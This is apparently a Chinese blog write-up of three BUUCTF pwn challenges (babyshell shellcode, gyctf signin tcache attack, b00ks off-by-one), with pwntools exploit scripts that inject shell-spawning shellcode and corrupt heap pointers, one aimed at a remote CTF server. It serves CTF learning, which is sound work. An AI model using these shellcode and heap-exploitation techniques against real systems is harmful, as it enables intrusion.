zoukankan      html  css  js  c++  java
  • BUUCTF | pwn

    starctf_2019_babyshell | special shellcode

    考点:01是代码也可以是数据,所以只读数据段的数据拼接可以执行sys_read,利用IDA的转代码(字母C)来将只读数据段转成代码如下:

    思路:构造read(0,&buf,count),rdi = 0,rsi = buf ,rdx = count,rax = 0(read_syscall),观察上面调用*buf函数的参数

    eax = 0,rsi =buf,rdi与rdx还要调试一下。

    python下两个断点,然后跳过一个断点,进入gdb c 得到下图

    由下图进入 s

    由下图可以代码执行sys_read

    from pwn import *
    context(log_level='debug',os='linux',arch='amd64')
    #p = process('./starctf_2019_babyshell')
    p = remote('node4.buuoj.cn',25548)
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    #gdb.attach(proc.pidof(p)[0],gdbscript="b *0x4008cb")
    
    shellcode = asm('pop rdx;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;syscall')
    p.sendlineafter(' plz:
    ',shellcode)
    
    sleep(1) 
    p.sendline('a'*(0x10+0x8-len(shellcode)) + str(asm(shellcraft.sh())))
    
    p.interactive()
    #p.sendline('cat flag')
    
    

    gyctf_2020_signin | tcache

    参考:
    https://l3mon629.github.io/post/vandn2020-gong-kai-sai-easytheap/#tcache
    https://www.cnblogs.com/luoleqi/p/13473995.html

    calloc 有以下特性
    
    不会分配 tcache chunk 中的 chunk 。
    tcache 有以下特性
    
    在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。
    

    程序中输入选项1.add,2.edit,3.delete,1和3分别调用malloc与free,还有一个backdoor函数调用alloc函数之后判断ptr的值,非零则执行shellcode

    思路:

    1.首先分配 8 个 0x80 大小的 chunk ,依次 free 掉,这样 tcache 中 0x80 的 chunk 列表已经被填满,还多了一个 0x80 的 chunk 在 fast bin 中。

    2.分配一个 0x80 大小的 chunk ,这个 chunk 会从 tcache 中取出,这一步的目的是为了在 tcache 留出空位。

    3.类似 fastbin attack ,将 fastbin 里的 chunk 的 fd 指针改为 ptr - 0x10 处,这样 calloc 将这个 chunk 分配出去时,就会认为 fd 指针对应的也是一个 chunk ,会把这个 chunk 放入 tcache ,而 tcache 中是以 fd 指针连接的,这样 ptr 的值就会被修改为某个 fd 的指针。这样我们就能执行 system('/bin/sh') 拿 shell 了。

    转自pwnki师傅的https://www.cnblogs.com/luoleqi/p/13473995.html

    from pwn import *
    
    context.log_level = 'debug'
    
    r = process('./gyctf_2020_signin')
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(r)[0],gdbscript="b main")
    
    def add(idx):
        r.sendlineafter('your choice?',str(1))
        r.sendlineafter('idx?',str(idx))
    
    def edit(idx,context):
        r.sendlineafter('your choice?',str(2))
        r.sendlineafter('idx?',str(idx))
        r.send(context)
    
    def delete(idx):
        r.sendlineafter('your choice?',str(3))
        r.sendlineafter('idx?',str(idx))
    def add_all(index):
        for i in range(index):
            add(i)
    def delete_all(index):
        for j in range(index):
            delete(j)
    add_all(8) # add(0)...add(7)
    delete_all(8)#0-6 Tcache 7 Fastbin
    add(8) # malloc 6 from Tcache
    payload = p64(0x4040c0-0x10).decode("iso-8859-1").ljust(0x50,'x00')
    
    edit(7,payload) 
    
    r.sendlineafter('your choice?', '6') # calloc 7 from Fastbin and modify fd
    
    r.interactive()
    
    

    b00ks | off-by-one

    计算:
    DWORD:4字节 ,QWORD:8字节
                      *((_DWORD *)book + 6) = size;    // book+6*4=book[6]=size
                      *((_QWORD *)off_202010 + v2) = book;// (bool*)book 类似flag,book_list[num] = book(记录新申请的内存地址)
                      *((_QWORD *)book + 2) = descript;//book+2*8
                      *((_QWORD *)book + 1) = name;    // book+8
                      *(_DWORD *)book = ++unk_202024; //book+0   (int *)book = book_add++
    hex:
    book            
    0x000000 book_addr               
    0x000008 name            
    0x000010 description     
    0x000018 size            
    0x000020 book            
    
    signed __int64 __fastcall read_num(_BYTE *a1, int num)
    {
      int i; // [rsp+14h] [rbp-Ch]
      _BYTE *buf; // [rsp+18h] [rbp-8h]
    
      if ( num <= 0 )
        return 0LL;
      buf = a1;
      for ( i = 0; ; ++i )
      {
        if ( (unsigned int)read(0, buf, 1uLL) != 1 )
          return 1LL;
        if ( *buf == 10 )
          break;
        ++buf;
        if ( i == num )
          break;
      }
      *buf = 0;
      return 0LL;
    }
    

    read_num(buf,num),buf[num]=0,存在 off-by-one 漏洞

    create_name("A" * 32)
    create_book(0x1d8, "a", 32, "b") # 使得 book1->description 的地址低位为 00
    create_book(0x21000, "c", 0x21000, "d")
    

    book_id, book_name, book_des, book_author = print_book(1)
    ru("A"*32)
    book1_addr = u64(book_author[32:32+6].ljust(8, b"x00"))
    log.info("book1_addr: " + hex(book1_addr))
    

    参考:
    https://lantern.cool/wp-item-Asis-2016-b00ks/
    https://ch4r1l3.github.io/2018/06/22/pwn从入门到放弃第三章——gdb的基本使用教程/
    https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/

    zer0_1s
  • 相关阅读:
    Python+VSCode IDE 快速开发配置 #VSCode上配置Jupyter Notebook
    GUI Design Studio 简单通讯本设计原型 1
    GUI Design Studio 简单通讯本设计原型 2
    安装Lua For Windows
    Lua – Hello World!
    GUI Design Studio 功能面板介绍
    中文字符级转换
    Base64传输字节码转换
    这怎么是英文的?
    error? in CLR via c#
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/15141235.html
Copyright © 2011-2022 走看看